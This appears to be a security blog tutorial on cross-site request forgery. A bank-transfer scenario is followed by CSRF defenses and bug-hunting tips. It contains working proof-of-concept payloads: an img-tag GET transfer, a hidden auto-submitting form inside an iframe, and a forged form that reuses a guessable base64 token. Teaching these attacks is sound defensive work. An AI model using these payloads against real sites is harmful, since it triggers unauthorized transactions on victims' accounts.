A CSRF vulnerability allows an attacker to unknowingly perform state changes on a web application where the victim is authenticated,
CSRF does not allow data theft as an attacker cannot view the response from the webpage.
CSRF is different from XSS is in such a way that we are not actually stealing any data but only performing actions on behalf of the victim without him knowing.
It occurs when an attacker can use an HTTP request to access a user’s information from another website and use that information to act on the user’s behalf. This typically relies on the victim being previously authenticated on the target website where the action is submitted.
Let’s understand it by an example: We have a victim named joe who is accessing his banking website.
Joe logs into his banking website to check his account balance. Once done, Joe checks his mail account by visiting https://mail.com/. Joe got a new mail with a link to an unfamiliar website, then Joe clicks on the link to see where it leads. When loaded, the unfamiliar site instructs Joe’s browser to make an HTTP request to Joe’s banking website, to transfers money from his account to the attacker’s. Joe’s banking website receives the HTTP request from the unfamiliar (and malicious) website, doesn’t have any CSRF protection, and so, processes the transfer
Let’s see How this happened, so when joe logs into his banking website, the server will respond with an HTTP response, which includes a header Set-Cookie which will, in turn, set the cookie identifying Joe in the browser. Then Joe’s browser will automatically send that cookie with all other HTTP requests to the banking website. After finishing his banking, Joe doesn’t log out and visits https://www.mail.com/.
This is important because as a user logs out of a site, that site will send an HTTP response that expires the cookie. As a result, when next time user will visit the site, he has to log in again.
The way the banking site is exploited depends on whether the server accepts GET or POST requests for making transactions.
CSRF with GET Requests
If the server accepts GET requests for a transaction, the malicious site needs to send an HTTP GET request with a hidden form or an <img> tag.
When an <img> tag is rendered, it will make an HTTP GET request to the src attribute in the tag.
So, the URL that transferred Rs. 50000 from Joe to attackers account will look like:
https://www.bank.com/transfer?from=joe&to=attacker&amount=50000
Now we simply need to make the browser render a <img> tag with the src attribute set to the URL shown above the tag will look like:
<img src=”https://www.bank.com/transfer?from=joe&to=attacker&amount=50000”>
As a result, when Joe visits the malicious site, it includes the <img> tag in its HTTP response and the browser then makes the HTTP GET request to the bank. The browser sends Joe’s authentication cookies along with the HTTP Get request, Which results in initiating a transfer from joe’s account to the attacker’s account.
CSRF with POST Requests
if the server accepts POST requests for the transaction, then the malicious site needs to make an HTTP POST request.
Now, in this situation, a malicious site can create a hidden HTML form and submit it silently to the banking site without a victim knowing. The form can be used to submit a POST or GET request to a URL and can even submit parameters values.
The form which the malicious site need to create in order to initiate a transfer will be:
1
2
3
4
5
6
7
8
9
10
11
12
<iframe style="display:none" name="transaction"></iframe>
<form method='POST' action='http://bank.com/transfer.php' target="transaction" id="transfer">
<input type='hidden' name='from' value='joe'>
<input type='hidden' name='to' value='attacker'>
<input type='hidden' name='amount' value='50000'>
<input type='submit' value='submit'>
</form>
<script>
document.getElementById("transfer").submit()
</script>
Here, we’re making an HTTP POST request to Joe’s bank with a form. As the attacker doesn’t want the user to see the form type of all the <input> elements are set as ‘hidden’ so that they are not shown on the web page Bob sees. Lastly, the ,<script> tag at the end will automatically submit the form.
As the form is submitted, the browser will make an HTTP POST request instructing the banking website to initiate a transfer. Since the server will send an HTTP response back for the browser, the attacker needs to hide the response in an <iframe> with the display: none attribute.
Defenses Against CSRF Attacks
The most popular protection against CSRF vulnerability is using the CSRF token, This CSRF token would be required every time a POST request is made. Here, the server would generate a token with two parts, one which the user needs to send along with each POST request and another one which the server will keep.
Here in our example when Joe attempts to make transfer requests, he would have to submit his csrf token, which the bank would then validate with its side of the token.
Another way of protection against CSRF is CORS (cross-origin resource sharing), Sending a POST request with content-type as application/JSON is significant because the browsers will first need to send an OPTIONS HTTP request before the POST request is sent. The server will then returns a response to the OPTIONS request indicating which types of HTTP requests it accepts. The browser reads this response and then makes the actual POST HTTP request, which in our example, would be the transfer. here this technique protects against CSRF vulnerability is because the malicious website sending the POST request won’t be allowed to read the HTTP OPTIONS response from the target website to know if it can send the malicious POST request.
CORS is designed to restrict access to resources, including JSON responses, from a domain outside of which the file is served, or is allowed by the target site.
So when CORS is used to protect a site, an attacker can’t submit an application/JSON request to the server because an attacker wouldn’t be allowed to read the response and make another call, unless the target site allows it.
Examples:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// If No CSRF TOKEN is employed
// And a Get Request is shown below is used to initiate a transfer
GET https://examplesite.com/buy.php?wallet=something&amount=1500&type=BTC
// The exploit for the above request will be:
// Using An img tag:
<img src="https://examplesite.com/buy.php?wallet=something&amount=1500&type=BTC">
// Using An link tag:
<a href="https://examplesite.com/buy.php?wallet=something&amount=1500&type=BTC">
Free BTC
</a>
// Thus whenever someone clicks on the link or loads a page with the image tag,
// the get request would be made on the behalf of the victim.
-------------------------------------------------------------------------------
// REUSABLE / GUESSABLE CSRF TOKEN
// Sometimes the website has CSRF protection in place, but the token is reused
// or easily guessable we just need to understand how that mechanism works
POST http://examplesite.com/buy.php HTTP/1.1
wallet=hackeraccount&amount=1500&type=BTC&xsrf_token=e3VzZXJfaWQ9NDR9
// The exploit fot the above POST request will be :
// The csrf token is simply the base64 encoded value of user id
// e3VzZXJfaWQ9NDR9==>{user_id:44} base64 encoded
<form action="<https://examplesite.com/buy.php>" method="POST">
<input type="hidden" name="wallet" value="hackeraccount">
<input type="hidden" name="amount" value=1500>
<input type="hidden" name="type" value="BTC">
<input type="hidden" name="xsrf_token" value="e3VzZXJfaWQ9NDR9">
<input type="submit" name="Click Here to Win">
</form>
1
2
3
4
5
6
7
8
9
10
📌 Tips:
Sometimes even if the request contains a random CSRF Token, and if we remove the
token along with the parameter the request still works, so try to remove the
parameter from the request and resend it, to check if it works.
The CSRF Token can be in various places, like in Headers with the name X-CSRF
token or X-AUTH token or simply in the post requests body, Try to remove the header
or token and check if it works or try to take a CSRF token from a different account
and replace it to check if that works
Thanks for Reading, Stay tuned for more ❤︎
If you enjoyed reading the article do follow me on: